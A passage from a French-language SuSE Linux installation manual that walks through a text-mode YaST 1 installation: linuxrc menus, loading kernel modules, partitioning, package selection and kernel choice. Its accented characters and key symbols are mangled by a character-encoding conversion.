  2548. apparaεtre l'+  invite (angl. prompt) du systΦme Linux.
  2549.  
  2550.  
  2551. 2.1.17       Tour d'horizon et travail sur le systΦme
  2552.  
  2553. Pour  les  nouveaux  venus  sous  Linux,  le  chapitre  19  page  481  du  manuel
  2554. constitue une aide prΘcieuse qui leur permettra de bien dΘbuter. L'annexe F
  2555. page 541 et pages suivantes apporte en outre des rΘponses α quelques ques-
  2556. tions  frΘquemment  posΘes.  Des  livres  permettant  d'acquΘrir  des  connais-
  2557. sances plus poussΘes sont citΘs dans la bibliographie (voir page 565) et cer-
  2558. tains  d'entre  eux  sont  dΘcrits  sous  http://www.suse.de/de/produkte/
  2559. buecher/
  2560.  
  2561. Familiarisez-vous aussi avec le ``vieux'' YaST  (chapitre 3 page 81 et pages
  2562. suivantes).
  2563.  
  2564.   ~   Pour obtenir des informations dΘtaillΘes sur la configuration de l'interface
  2565.       graphique, en l'occurrence le systΦme X Window, reportez-vous au cha-
  2566.       pitre 8 page 239. La configuration avec SaX est dΘcrite au paragraphe 8.1
  2567.       page 240.
  2568.  
  2569.   ~   La carte son est le thΦme du paragraphe 10.3 page 296 ~ il est ici question
  2570.       de ``l'environnement matΘriel de l'ordinateur Linux''.
  2571.  
  2572.   ~   Pour installer votre imprimante et pour savoir quelles imprimantes sont
  2573.       supportΘes,  lisez  le  chapitre  12  page  333.  Pour  une  installation  simple
  2574.       avec YaST , voyez le paragraphe 3.6.1 page 101.
  2575.  
  2576.   ~   Vous  apprendrez  comment  configurer  votre  accΦs  α  Internet  au  cha-
  2577.       pitre 5.3 page 171. Pour l'installation du modem, voir le paragraphe 6.5
  2578.       page 190 et pour ISDN le paragraphe 6.2 page 173.
  2579.  
  2580.   ~   Pour  en  savoir  plus  sur  la  configuration  d'un  rΘseau,  lisez  le  chapitre  5
  2581.       page 153.
  2582.        _______________________________________________________________________________________________________________________||
  2583.  
  2584.        ||||||||  Si vous voulez adjoindre α un rΘseau interne un accΦs ISDN, il vous est nΘ-                    |||            |
  2585.        ||||||||  cessaire d'avoir des connaissances poussΘes dans le domaine des rΘseaux.                       ||             |
  2586.        ||||||||                                                                                                 ||             |
  2587.        ||||||||  Vous  trouverez  des  informations  dans  la  documentation  spΘcialisΘe  sous                 ||             |
  2588.        ||||||||  les mots-clΘs ``passerelle'' (angl. gateway), ``routeur'' ou ``pare-feu'' (angl.               ||             |
  2589.        ||||||||                                                                                                 ||             |
  2590.        ||||||||  firewall).                                                                                     ||             |
  2591.        ||||||||_______________________________________________________________________________________________________________||_
  2592.  
  2593.  
  2594.                                                                                                                                    *
  2595.  *     27
  2596. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  2597.  *_______________________________________@
  2598.  
  2599.  
  2600.  
  2601.                            2.2       Installation en mode texte avec YaST  1
  2602.  
  2603.                            De nombreux chemins mΦnent α un Linux installΘ - mais certains d'entre eux
  2604.                            sont plus ardus que d'autres.
  2605.  
  2606.                            Si vous n'Ωtes plus un novice de Linux, certaines explications pourront vous
  2607.                            sembler inutiles et fastidieuses. Souvenez-vous alors de l'Θpoque o∙ vous en
  2608.                            Θtiez encore α votre premiΦre machine et o∙ vous puisiez avec gratitude vos
  2609.                            informations α toutes les sources qui se prΘsentaient : : :
  2610.  
  2611.  
  2612.                            2.2.1      Situation de dΘpart
  2613.  
  2614.  
  2615.                            SuSE     Linux met α votre disposition, avec YaST , un outil qui vous guidera de
  2616.                            faτon s√re α travers toutes les Θtapes de l'installation depuis la prΘparation de
  2617.                            votre disque dur jusqu'α la configuration d'un login graphique.
  2618.  
  2619.                            Dans le ``cas normal'' d'une machine sur laquelle SuSE      Linux doit Ωtre ins-
  2620.                            tallΘ, les conditions suivantes doivent Ωtre remplies :
  2621.  
  2622.  
  2623.                              ~   Vous pouvez dΘmarrer votre machine soit α partir de la disquette d'amor-
  2624.                                  τage fournie, soit directement α partir du CD 1.
  2625.  
  2626.                              ~   Votre  disque  dur  offre,  pour  l'installation  de  Linux,  suffisamment  d'es-
  2627.                                  pace  libre  non  partitionnΘ.  Ou  vous  disposez  d'un  disque  dur  suffisam-
  2628.                                  ment grand que vous voulez utiliser spΘcialement pour Linux.
  2629.  
  2630.                              ~   Votre +  lecteur de CD-ROM est supportΘ par Linux. Si vous ne savez pas
  2631.                                  encore si c'est le cas : pas de panique, vous pouvez le dΘcouvrir.
  2632.  
  2633.  
  2634.                            Si l'une de ces conditions ne devez pas Ωtre remplie, il existe des ``chemins
  2635.                            dΘtournΘs'' qui vous permettront de rΘaliser votre installation. De tels chemins
  2636.                            vont vous Ωtre prΘsentΘs au paragraphe 2.4 page 46 et pages suivantes.
  2637.  
  2638.  
  2639.  
  2640.                            2.2.2      Maintenant tout commence : L'Θcran d'accueil
  2641.  
  2642.  
  2643.                            InsΘrez  le  CD  1  et/ou  la  disquette  dans  le  lecteur  correspondant  et  mettez
  2644.                            votre  machine  en  marche  pour  l'amorτage.  Si  elle  refuse  d'amorcer,  vous
  2645.                            devrez probablement modifier vers A,C    ou CDROM,C,A          l'ordre du processus
  2646.                            d'amorτage dans le BIOS de la machine.
  2647.  
  2648.                            AprΦs quelques instants, vous voyez apparaεtre l'Θcran d'accueil (figure 2.1
  2649.                            page suivante)._Appuyez dans les 3 secondes qui suivent sur une touche (par
  2650.                            exemple  |____T|ab)  afin  que  YaST2  ne  soit  pas  lancΘ  automatiquement.  Entrez_
  2651.                            maintenant manual       α l'invite d'amorτage (boot  :     ) et validez avec |_____-|:
  2652.  
  2653.                                boot:  manual  |______|-
  2654.  
  2655.  
  2656.                            Vous pouvez maintenant voir, sur la partie infΘrieure de l'Θcran, les messages
  2657.                            "Loading  initdisk.gz..."  ainsi  que  "Loading  linux..."  et  aprΦs
  2658.                            quelques instants le +  noyau dΘmarre et linuxrc est lancΘ.
  2659.  
  2660.                            Le programme linuxrc est pilotΘ par menu et attend vos entrΘes.
  2661.  
  2662.  
  2663.  
  2664. 28
  2665.        ________________________________________________________________2.2.__Installation_en_mode_texte_avec_YaST__1_______________*
  2666.  *______________________
  2667.  
  2668.                       Fig. 2.1: L'Θcran de dΘmarrage de SuSE     Linux
  2669.  
  2670.  
  2671.  
  2672. ProblΦmes Θventuels
  2673.  
  2674.   ~   Si votre lecteur de CD-ROM (ATAPI) se bloque α l'amorτage du systΦme,
  2675.       voyez le paragraphe 2.7.5 page 60.
  2676.  
  2677.   ~   Le CD 1, qui fournit un noyau optimisΘ pour processeurs Pentium, n'est
  2678.       pas  reconnu  comme  support  d'amorτage.  Faites  une  tentative  avec  le
  2679.       CD 2. Voir paragraphe 2.6.2 page 56.
  2680.  
  2681.   ~   D'autres  difficultΘs  survenant  α  l'amorτage  peuvent  en  gΘnΘral  Ωtre
  2682.       contournΘes  avec  les  paramΦtres  du  noyau.  Voir  paragraphe  14.3.2
  2683.       page 370 et pages suivantes.
  2684.  
  2685.  
  2686. 2.2.3      La base de votre installation : linuxrc
  2687.  
  2688. Avec  le  programme  linuxrc ,  vous  chargerez,  sous  forme  de  modules  du
  2689. noyau,  les  pilotes  Θventuellement  requis.  Ensuite,  linuxrc  lancera  le  pro-
  2690. gramme  d'installation  YaST  et  l'installation  proprement  dite  des  logiciels
  2691. systΦme et des programmes d'application pourra commencer.
  2692.  
  2693. La  manipulation  de  linuxrc  est  d'une  extrΩme  simplicitΘ__:_ Avec  |__|"et  |__|#,
  2694. vous  sΘlectionnez  une  option  du  menu ;  avec | ___|_et_|____|!,_ vous  sΘlectionnez
  2695. une  commande,  par  exemple  `Ok'  ou  `Annuler'.  Avec  |_____|-,  vous  faites
  2696. exΘcuter  la  commande.  ~  Vous  trouverez  une  description  plus  dΘtaillΘe  de
  2697. linuxrc au paragraphe 16.3 page 429 et pages suivantes.
  2698.  
  2699.  
  2700. Configuration et intΘgration du matΘriel
  2701.  
  2702. Le programme linuxrc commence par la sΘlection de la langue.
  2703.  
  2704.   ~   SΘlectionnez une langue et validez votre choix avec |______|-.
  2705.  
  2706.   ~   Choisissez entre `╔cran  couleur' et `╔cran__monochrome'._Si vous
  2707.       possΘdez un Θcran couleur, validez avec |_____-|.
  2708.  
  2709.   ~   SΘlectionnez la disposition des touches du clavier.
  2710.  
  2711.  
  2712.                                                                                                                                    *
  2713.  *     29
  2714. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  2715.  *_______________________________________@
  2716.  
  2717.                                                             Fig. 2.2: SΘlection de la langue
  2718.  
  2719.                                                          Fig. 2.3: Menu principal de linuxrc
  2720.  
  2721.  
  2722.  
  2723.                            Nous  voici  arrivΘs  au  menu  principal  de  linuxrc  (figure  2.3).  Vous  pouvez
  2724.                            choisir entre les options suivantes :
  2725.  
  2726.                            `Configuration'                ~ Vous pouvez encore changer ici la langue, l'Θcran ou
  2727.                                  le clavier.
  2728.  
  2729.                            `Informations  systΦme'                     ~  Ceux  qui  sont  intΘressΘs  trouveront  tout  un
  2730.                                  tas d'informations sur le matΘriel pour autant que celui-ci ait ΘtΘ reconnu
  2731.                                  par le noyau ou que des modules dΘjα chargΘs y aient accΦs.
  2732.  
  2733.                            `Modules  du  noyau  (pilotes  de  matΘriel)'                                 ~ Vous devez Θventuel-
  2734.                                  lement sΘlectionner cette option pour charger des modules adaptΘs α votre
  2735.                                  matΘriel.
  2736.                                  Cas  normal  :  Vous  ne  devez  pas  sΘlectionner  cette  option  du  menu  si
  2737.                                  vous  avez  raccordΘ  aussi  bien  votre  disque  dur  (vos  disques  durs)  que
  2738.  
  2739.  
  2740. 30
  2741.        ________________________________________________________________2.2.__Installation_en_mode_texte_avec_YaST__1_______________*
  2742.  *______________________
  2743.  
  2744.  
  2745.  
  2746.       votre lecteur de CD-ROM (+  ATAPI) α un contr⌠leur (E)IDE. Le support
  2747.       (E)IDE est en effet compilΘ de faτon permanente dans le noyau.
  2748.  
  2749.   `[' `  'DΘmarrer l'installation / le systΦme ] ~ L'installation est maintenant
  2750.       poursuivie.
  2751.  
  2752. `Abandon  /  RΘamorτage'                    ~ Dans le cas o∙ vous auriez changΘ d'idΘe : : :
  2753.  
  2754.  
  2755. Ne dΘmarrez le chargement des modules avec `Modules  du  noyau' que si
  2756. vous avez besoin d'un support soit pour SCSI (non compatible avec Adaptec
  2757. 2940)  soit  pour  PCMCIA  (voir  paragraphe  11.1.6  page  326)  ou  si  vous  ne
  2758. possΘdez pas de lecteur ATAPI. Pour savoir comment charger les modules,
  2759. reportez-vous au paragraphe 16.3 page 429. Dans le sous-menu suivant, vous
  2760. prΘciserez pourquoi vous voulez (ou plus exactement devez) charger des mo-
  2761. dules. Les cas les plus courants sont :
  2762.  
  2763.  
  2764.   ~   Un  module  SCSI  ~  si  vous  avez  un  disque  dur  SCSI  ou  un  lecteur  de
  2765.       CD-ROM SCSI.
  2766.  
  2767.   ~   Un module de CD-ROM ~ au cas o∙ votre lecteur de CD-ROM ne serait
  2768.       raccordΘ ni au contr⌠leur (E)IDE ni au contr⌠leur SCSI.
  2769.  
  2770.   ~   Un module rΘseau ~ si vous procΘdez α une installation via NFS ou FTP
  2771.       ~ mais ce n'est pas ici notre sujet.
  2772.        _______________________________________________________________________________________________________________________||
  2773.        ||||||||  Si, parmi les modules standards, vous n'en trouvez aucun qui gΦre votre                        |||            |
  2774.        ||||||||                                                                                                 ||             |
  2775.        ||||||||  support  d'installation  (lecteur  de  CD-ROM  propriΘtaire,  lecteur  de  CD-                 ||             |
  2776.        ||||||||  ROM sur port parallΦle, PCMCIA), vous pouvez Θventuellement avoir re-                          ||             |
  2777.        ||||||||                                                                                                 ||             |
  2778.        ||||||||  cours aux pilotes additionnels de la disquette modules. Pour cela, allez α                     ||             |
  2779.        ||||||||  la fin de la liste et sΘlectionnez l'option `--  Autres  modules  --'. La                      ||             |
  2780.        ||||||||                                                                                                 ||             |
  2781.        ||||||||  disquette modules est demandΘe par linuxrc .                                                   ||             |
  2782.        ||||||||_______________________________________________________________________________________________________________||_
  2783.  
  2784.  
  2785. DΘmarrage de l'installation
  2786.  
  2787. Comme  vous  avez  dΘjα  sΘlectionnΘ  `DΘmarrer__l'installation_ /  le
  2788. systΦme',  il  vous  suffit  d'appuyer  sur | _________E|ntrΘepour  arriver  α  l'installation
  2789. proprement dite.
  2790.  
  2791.  
  2792.       Vous pouvez ici choisir l'une des options suivantes :
  2793.  
  2794.       ~   `DΘmarrer  l'installation' ~ C'est ce que vous allez faire.
  2795.  
  2796.       ~   `Amorcer  le  systΦme  installΘ'  ~  Cette  option  sera  Θven-
  2797.           tuellement  nΘcessaire  par  la  suite  si  vous  deviez  avoir  des  diffi-
  2798.           cultΘs avec un amorτage normal.
  2799.  
  2800.       ~   `DΘmarrer  le  systΦme  de  secours' ~  Cette option n'est pas
  2801.           encore disponible sur les systΦmes AXP.
  2802.  
  2803.       ~   `InsΘrer  le  CD  live' ~ Si vous voulez vous faire une idΘe du
  2804.           systΦme  sans  pour  autant  l'installer  sur  votre  disque  dur.  Pour  le
  2805.           CD live, voir le paragraphe 3.6.4 page 108.
  2806.  
  2807.  
  2808. Pour arriver α l'installation, appuyez maintenant sur |E__________|ntrΘeafin d'obtenir
  2809. l'option du menu `DΘmarrer  l'installation'. Maintenant, il est temps
  2810.  
  2811.  
  2812.                                                                                                                                    *
  2813.  *     31
  2814. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  2815.  *_______________________________________@
  2816.  
  2817.                                                       Fig. 2.4: Menu d'installation de linuxrc
  2818.  
  2819.                                               Fig. 2.5: SΘlection du support source dans linuxrc
  2820.                            de choisir un support d'installation. En gΘnΘral il suffit de laisser le curseur
  2821.                            sur la sΘlection par dΘfaut : `CD-ROM'.
  2822.  
  2823.                            Appuyez maintenant sur |E_________|_ntrΘeet sΘlectionnez ensuite YaST1      afin de com-
  2824.                            mencer l'installation proprement dite. Le support d'installation sera le CD-
  2825.                            ROM. └ moins que vous n'ayez fait un autre choix.
  2826.  
  2827.                            L'environnement  d'installation  est  chargΘ  sur  un  disque  RAM  et  ~  lorsque
  2828.                            cette procΘdure est terminΘe ~ le programme d'installation YaST  est lancΘ.
  2829.                            ProblΦmes Θventuels
  2830.  
  2831.  
  2832.                            Il peut survenir les problΦmes suivants :
  2833.  
  2834.  
  2835. 32
  2836.        ________________________________________________________________2.2.__Installation_en_mode_texte_avec_YaST__1_______________*
  2837.  *______________________
  2838.  
  2839.  
  2840.  
  2841.  ~   L'adaptateur SCSI utilisΘ n'est pas reconnu. Utilisez un noyau dans lequel
  2842.      est insΘrΘ le pilote SCSI correspondant ; crΘez une disquette d'amorτage
  2843.      selon la description faite au paragraphe 2.6.3 page 57 .
  2844.  
  2845.  ~   Le  lecteur  de  CD-ROM  ATAPI  se  bloque  α  la  lecture  :  voir  le  para-
  2846.      graphe  2.7.5  page  60  et  pour  des  informations  plus  gΘnΘrales,  le  para-
  2847.      graphe 2.7.13 page 64.
  2848.  
  2849.  
  2850. 2.2.4      DΘmarrage de YaST
  2851.  
  2852. YaST  vous prΘsente un Θcran d'accueil qui vous donne le choix entre 4 op-
  2853. tions (voir figure 2.6).
  2854.  
  2855.  
  2856.                                 Fig. 2.6: YaST  ~ ╔cran d'accueil
  2857.  
  2858.        _______________________________________________________________________________________________________________________||
  2859.        ||||||||  Si vous voulez faire plus ample connaissance avec YaST  ou si vous avez                        |||            |
  2860.        ||||||||                                                                                                 ||             |
  2861.        ||||||||  des  tΓches  de  maintenance  particuliΦres,  reportez-vous  au  chapitre  sur                 ||             |
  2862.        ||||||||  YaST  (chapitre  3  page  81) !  ~  Au  dΘbut  de  ce  chapitre,  vous  trouverez              ||             |
  2863.        ||||||||                                                                                                 ||             |
  2864.        ||||||||  aussi quelques informations sur la disposition et le fonctionnement du cla-                    ||             |
  2865.        ||||||||  vier sous YaST .                                                                               ||             |
  2866.        ||||||||_______________________________________________________________________________________________________________||_
  2867.  
  2868. `Nouvelle  installation  de  Linux'                            Si  vous  voulez  installer  un  nou-
  2869.       veau SuSE     Linux. C'est prΘcisΘment cette question que nous allons traiter
  2870.       dans la suite de ce texte ;-)
  2871.  
  2872. `Mise  α  jour  d'un  systΦme  Linux  existant'                                 La  mise  α  jour  d'un
  2873.       systΦme SuSE     Linux est traitΘe au paragraphe 15.1 page 403.
  2874.  
  2875. `Installation  en  mode  expert'                         Si vous choisissez ce mode, vous au-
  2876.       rez de nombreuses possibilitΘs d'intervenir de faτon prΘcise. Ne sΘlection-
  2877.       nez cette option que si vous avez suffisamment d'expΘrience sous Linux et
  2878.       si vous savez exactement quelles phases se succΦdent les unes aux autres.
  2879.       Le mode expert ne sera pas dΘcrit par la suite !
  2880.  
  2881. `Annuler  ~  pas  d'installation'                          Pour   le   cas   o∙   vous   changeriez
  2882.       d'idΘe au dernier moment : : :
  2883.  
  2884.  
  2885.                                                                                                                                    *
  2886.  *     33
  2887. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  2888.  *_______________________________________@
  2889.  
  2890.  
  2891.  
  2892.                            SΘlectionnez `Nouvelle  installation  de  Linux'.
  2893.                            Avant d'envisager de partitionner vous-mΩme, lisez le paragraphe 2.8 page 67.
  2894.  
  2895.                            Vous y trouverez des informations d'arriΦre-plan sur la maniΦre de procΘder.
  2896.  
  2897.  
  2898.                            2.2.5      Partitionner et formater le disque dur
  2899.  
  2900.                            YaST  vous fait savoir qu'un disque dur a ΘtΘ dΘtectΘ. S'il y a suffisamment
  2901.                            d'espace ``libre'' sur ce disque, YaST le constatera et vous proposera d'utiliser
  2902.                            cette zone pour Linux (masque `Utiliser  l'espace  disponible ?').
  2903.                            ________________________________________________________________________________________________________*
  2904.  *________||
  2905.                            |  Dans  le  cas  o∙  il  existerait  dΘjα  une  partition  de  swap  ~  α  la  suite  par              *
  2906.  *        ||||
  2907.                            |  exemple  d'une  installation  prΘcΘdente  ~,  YaST  vous  demandera  si  cette                       *
  2908.  *        |||
  2909.                            |                                                                                                       *
  2910.  *        |||
  2911.                            |  partition de swap doit Ωtre utilisΘe et ensuite intΘgrΘe dans le systΦme.                            *
  2912.  *        |||
  2913.                            |_______________________________________________________________________________________________________*
  2914.  *________|||_
  2915.  
  2916.                            Voici comment vous devez procΘder pour installer les partitions nΘcessaires :
  2917.  
  2918.  
  2919.                            `Partitionner'               ~ └ la question qui vous sera posΘe au sujet du partition-
  2920.                                  nement, vous devrez rΘpondre en rΦgle gΘnΘrale par `Partitionner' si
  2921.                                  vous procΘdez α une premiΦre ou α une nouvelle installation de SuSE     Li-
  2922.                                  nux. Ne sΘlectionnez l'option `Installer  LVM' que si vous savez exac-
  2923.                                  tement ce qu'est un Logical Volume Manager et si vous Ωtes s√r qu'il vous
  2924.                                  en faut un.
  2925.  
  2926.                            `OUI'       ~ Si vous rΘpondez `Oui', YaST  partitionnera de faτon autonome et
  2927.                                  vous pourrez continuer en passant au paragraphe 2.2.7 page 36.
  2928.  
  2929.                            `NON'       ~ Si vous rΘpondez `Non', vous pourrez partitionner.
  2930.  
  2931.  
  2932.                                                       Fig. 2.7: YaST  ~ Partitionner le disque
  2933.  
  2934.  
  2935.                            Si YaST  ne parvient pas α trouver d'espace libre, vous verrez apparaεtre le
  2936.                            masque  `Tout  le  disque'.  Vous  avez_ les  deux_ possibilitΘs_ qui  sont  dΘ-
  2937.                            crites ci-dessous (rappel_: avec |T____a|bou  |____|ou avec |!___|vous positionnez le
  2938.                            curseur et avec |_____-|vous validez votre sΘlection) :
  2939.  
  2940.  
  2941. 34
  2942.        ________________________________________________________________2.2.__Installation_en_mode_texte_avec_YaST__1_______________*
  2943.  *______________________
  2944.  
  2945.  
  2946.  
  2947. `Partitionner'               ~ Vous procΘdez vous-mΩme au partitionnement de votre
  2948.       disque dur. Vous devez absolument sΘlectionner cette option si, parallΦle-
  2949.       ment α Linux, vous voulez continuer α utiliser un autre systΦme d'exploi-
  2950.       tation dΘjα installΘ.
  2951.        _______________________________________________________________________________________________________________________||
  2952.        ||||||||  Si vous faites exΘcuter l'option `Tout  le  disque', le disque dur sera en-                    |||            |
  2953.        ||||||||  tiΦrement reconfigurΘ et vous perdrez la totalitΘ des donnΘes qui se trouvent                  ||             |
  2954.        ||||||||                                                                                                 ||             |
  2955.        ||||||||  α ce moment sur le disque dur !                                                                ||             |
  2956.        ||||||||_______________________________________________________________________________________________________________||_
  2957.  
  2958. `Tout  le  disque'               ~ AprΦs vous avoir posΘ une question de sΘcuritΘ ``en
  2959.       rouge'', YaST  procΘdera de faτon autonome au partitionnement de votre
  2960.       disque et formatera votre partition automatiquement.
  2961.       Vous  devriez  toujours  sΘlectionner  cette  option  si  voulez  avoir,  sur  le
  2962.       disque choisi, un nouveau SuSE      Linux comme seul systΦme d'exploita-
  2963.       tion et si vous ne souhaitez pas avoir α vous prΘoccuper de la question du
  2964.       partitionnement. Les systΦmes d'exploitation qui pourraient Θventuel-
  2965.       lement se trouver sur votre disque seront alors effacΘs !
  2966.       Si vous sΘlectionnez l'option `Tout  le  disque' YaST adoptera la stra-
  2967.       tΘgie suivante :
  2968.  
  2969.       ~   Il installera une partition /boot (au minimum 2 Mo ou 1 cylindre),
  2970.  
  2971.       ~   une partition de swap (le double de la quantiΘ de RAM sans toutefois
  2972.           dΘpasser 128 Mo)
  2973.  
  2974.       ~   et le reste sous forme d'une grande partition qui, sous `/', deviendra
  2975.           la partition racine (rΘpertoire racine).
  2976.  
  2977.  
  2978. ProblΦmes Θventuels
  2979.  
  2980.   ~   Il  peut  arriver  que  la  relecture  de  la  table  des  partitions  pose  des  pro-
  2981.       blΦmes.  YaST  vous  en  avertira  dans  une  fenΩtre  de  messages  rouge  et
  2982.       vous demandera d'amorcer. Dans un tel cas, redΘmarrez votre machine et
  2983.       au prochain passage renoncez α effectuer un nouveau partitionnement.
  2984.  
  2985.   ~   Il n'y a pas suffisamment de place disponible. Le chapitre 2.6.1 page 54
  2986.       vous  donne  des  informations  sur  la  maniΦre  de  faire  de  la  place  sur  le
  2987.       disque avec fips sous DOS.
  2988.  
  2989.  
  2990. 2.2.6      Commencer l'installation des logiciels
  2991.  
  2992. Le disque dur Θtant prΘparΘ, il s'agit maintenant de choisir, dans l'abondance
  2993. de ce qui vous est proposΘ, les logiciels que vous dΘsirez installer.
  2994.  
  2995. YaST  vous demande maintenant un peu de patience : Les donnΘes des sΘries
  2996. et paquetages doivent Ωtre lues α partir du support d'installation. Vous verrez,
  2997. lorsque cette opΘration sera terminΘe, l'affichage du menu d'installation de
  2998. YaST (figure 2.8 page suivante). Si vous ne dΘsirez pas faire un choix particu-
  2999. lier, continuez avec l'option `DΘmarrer  l'installation'. Vous pouvez,
  3000. dans ce cas, passer directement au paragraphe 2.2.8 page 37.
  3001.  
  3002.   ~   SΘlectionnez α prΘsent `Charger  la  configuration' pour faire votre
  3003.       choix de logiciels (Standard, Serveur rΘseau, Minimal etc.) Ce sujet est
  3004.       traitΘ au paragraphe 2.2.7. AprΦs avoir chargΘ la configuration appropriΘe
  3005.  
  3006.  
  3007.                                                                                                                                    *
  3008.  *     35
  3009. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  3010.  *_______________________________________@
  3011.  
  3012.  
  3013.  
  3014.                                                     Fig. 2.8: YaST  ~ SΘlection des paquetages
  3015.  
  3016.  
  3017.  
  3018.                                  et avoir confirmΘ, vous vous retrouverez de nouveau au menu d'installa-
  3019.                                  tion.
  3020.  
  3021.                              ~   Ici   le   menu   d'installation,   avec   l'option   `Modifier/crΘer  une
  3022.                                  configuration',  vous  donne  la  possibilitΘ  de  modifier  certains  dΘ-
  3023.                                  tails  de  votre  sΘlection  de  paquetages.  Vous  arrivez  ainsi  α  la  sΘlection
  3024.                                  des sΘries de SuSE      Linux. En rΦgle gΘnΘrale, vous n'avez pas besoin de
  3025.                                  cette  option  car  la  sΘlection  de  paquetages  qui  vous  est  proposΘe  vous
  3026.                                  permettra  de  disposer  d'un  systΦme  fonctionnel.  Vous  pourrez  toujours
  3027.                                  plus tard ~ lorsque Linux tournera ~ modifier et complΘter α tout moment
  3028.                                  votre  sΘlection.  Vous  trouverez  une  description  de  ces  menus  ainsi  que
  3029.                                  de la fonction des diffΘrentes options au chapitre YaST , paragraphe 3.4
  3030.                                  page 94.
  3031.  
  3032.  
  3033.                            2.2.7      SΘlectionnez votre Θquipement logiciel de base
  3034.  
  3035.                            Vous arriverez dans ce masque de YaST  (figure 2.9 page suivante en sΘlec-
  3036.                            tionnant l'option `Charger  la  configuration' au paragraphe 2.2.6 page
  3037.                            prΘcΘdente.
  3038.  
  3039.                            Nous  avons  mis  α  votre  disposition__quelques  ``configurations''  prΘdΘfinies.
  3040.                            Avec les touches flΘchΘes_|"__|et_|#_ |, vous pouvez accΘder aux diffΘrentes op-
  3041.                            tions. Avec la touche |_________E|space, vous pouvez sΘlectionner ou dΘsΘlectionner une
  3042.                            option. Une croix (`X') dans la case correspondante signifie que vous avez
  3043.                            sΘlectionnΘ cette configuration en remplacement ou en supplΘment.
  3044.  
  3045.                            Une astΘrisque (`*') placΘe derriΦre indique que cette configuration va Ωtre
  3046.                            installΘe. Ce caractΦre est α interprΘter dans ce sens que le choix de l'option
  3047.                            `SuSE  simplement  tout' provoque la sΘlection automatique de configura-
  3048.                            tions supplΘmentaires car les configurations spΘciales reprΘsentent des sous-
  3049.                            ensembles de `SuSE  simplement  tout'.
  3050.  
  3051.                            `Ajouter'          Avec cette option du menu, vous pouvez ajouter aux paquetages
  3052.                                  et configurations sΘlectionnΘs les paquetages de la configuration que vous
  3053.                                  avez choisie.
  3054.  
  3055.  
  3056. 36
  3057.        ________________________________________________________________2.2.__Installation_en_mode_texte_avec_YaST__1_______________*
  3058.  *______________________
  3059.  
  3060.  
  3061.  
  3062.                      Fig. 2.9: YaST  ~ SΘlectionner les configurations
  3063.  
  3064.  
  3065.  
  3066. `Remplacer'            Vous  pouvez  ici  remplacer  une  sΘlection  dΘjα  faite  par  une
  3067.       nouvelle configuration. Il vous sera demandΘ le cas ΘchΘant si vous sou-
  3068.       haitez effacer les paquetages ne faisant pas partie de la configuration.
  3069.  
  3070. `Annuler'           Vous abandonnez la procΘdure.
  3071.  
  3072.  
  3073. 2.2.8      Installation de logiciels systΦme et de programmes
  3074.  
  3075. AprΦs tous ces travaux prΘliminaires, vous pouvez enfin commencer α remplir
  3076. votre disque dur avec les logiciels qui vous conviennent.
  3077.  
  3078.  
  3079.   ~   Mettez en marche le processus d'installation des logiciels avec `DΘmar-
  3080.       rer  l'installation'. YaST vous montre α l'Θcran quel paquetage est
  3081.       en cours d'installation et combien de paquetages doivent encore suivre.
  3082.  
  3083.   ~   Les autres CD seront ensuite demandΘs, en fonction de la configuration.
  3084.  
  3085.   ~   Lorsque les paquetages auront ΘtΘ installΘs, retournez au menu principal
  3086.       en sΘlectionnant `Menu  principal'.
  3087.  
  3088.  
  3089. ProblΦmes Θventuels
  3090.  
  3091.   ~   Si  votre  machine  ne  dispose  que  de  ``peu''  de  mΘmoire  RAM  (16  Mo),
  3092.       vous ne pouvez, dans un premier temps, installer qu'α partir du premier
  3093.       CD-ROM. Dans ce cas, les autres CD ne seront demandΘs que plus tard
  3094.       (paragraphe 2.2.10 page 42).
  3095.  
  3096.  
  3097.   ~   Lorsque des problΦmes surviennent lors de l'installation des logiciels, ils
  3098.       sont gΘnΘralement d√s α un matΘriel dΘfectueux ou mal configurΘ.
  3099.  
  3100.       Si vous avez un systΦme SCSI, vΘrifiez la longueur et la terminaison des
  3101.       cΓbles.  DΘconnectez  du  bus  les  pΘriphΘriques  externes,  principalement
  3102.       les scanners. Essayez aussi d'utiliser des paramΦtres du noyau, les plus
  3103.       importants sont ΘvoquΘs au paragraphe 14.3.1 page 369.
  3104.  
  3105.       Pour ATAPI, reportez-vous au paragraphe 2.7.5 page 60.
  3106.  
  3107.  
  3108.                                                                                                                                    *
  3109.  *     37
  3110. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  3111.  *_______________________________________@
  3112.  
  3113.  
  3114.  
  3115.                                                        Fig. 2.10: YaST  ~ SΘlection du noyau
  3116.  
  3117.  
  3118.  
  3119.                            2.2.9      SΘlectionner le noyau pour le systΦme
  3120.  
  3121.                            Le systΦme logiciel de base a ΘtΘ transfΘrΘ sur le disque dur.
  3122.  
  3123.                            Un +  noyau     appropriΘ pour le systΦme va maintenant Ωtre installΘ et, si vous
  3124.                            le dΘsirez, le gestionnaire d'amorτage LILO   sera installΘ sur le disque dur
  3125.                            (voir figure 2.10) ; par exemple :
  3126.  
  3127.  
  3128.               Noyau          ~   Le  `noyau  standard' est appropriΘ pour la plupart des systΦmes.
  3129.  
  3130.                              ~   Le `noyau  avec  support  SMP' doit Ωtre sΘlectionnΘ pour les systΦmes
  3131.                                  multiprocesseurs.
  3132.  
  3133.                              ~   Le `noyau  avec  support  APM' inclut un support pour ``Advanced Po-
  3134.                                  wer Management''.
  3135.                            ________________________________________________________________________________________________________*
  3136.  *________||
  3137.  
  3138.                            |  Si  votre  processeur  n'est  pas  α  100%  compatible  Pentium,  sΘlectionnez                       *
  3139.  *        ||||
  3140.                            |  `Noyau  pour  machines  avec  processeurs  386  ou  486'. Vous de-                                   *
  3141.  *        |||
  3142.                            |                                                                                                       *
  3143.  *        |||
  3144.                            |  vez choisir ce noyau par exemple pour un Cyrix 686. Si vous faites un mau-                           *
  3145.  *        |||
  3146.                            |  vais choix, vous risquez de voir apparaεtre le message "Kernel  panic".                              *
  3147.  *        |||
  3148.                            |                                                                                                       *
  3149.  *        |||
  3150.                            |  Voir http://sdb.suse.de/sdb/de/html/cyrix686.html.                                                   *
  3151.  *        |||
  3152.                            |_______________________________________________________________________________________________________*
  3153.  *________|||_
  3154.  
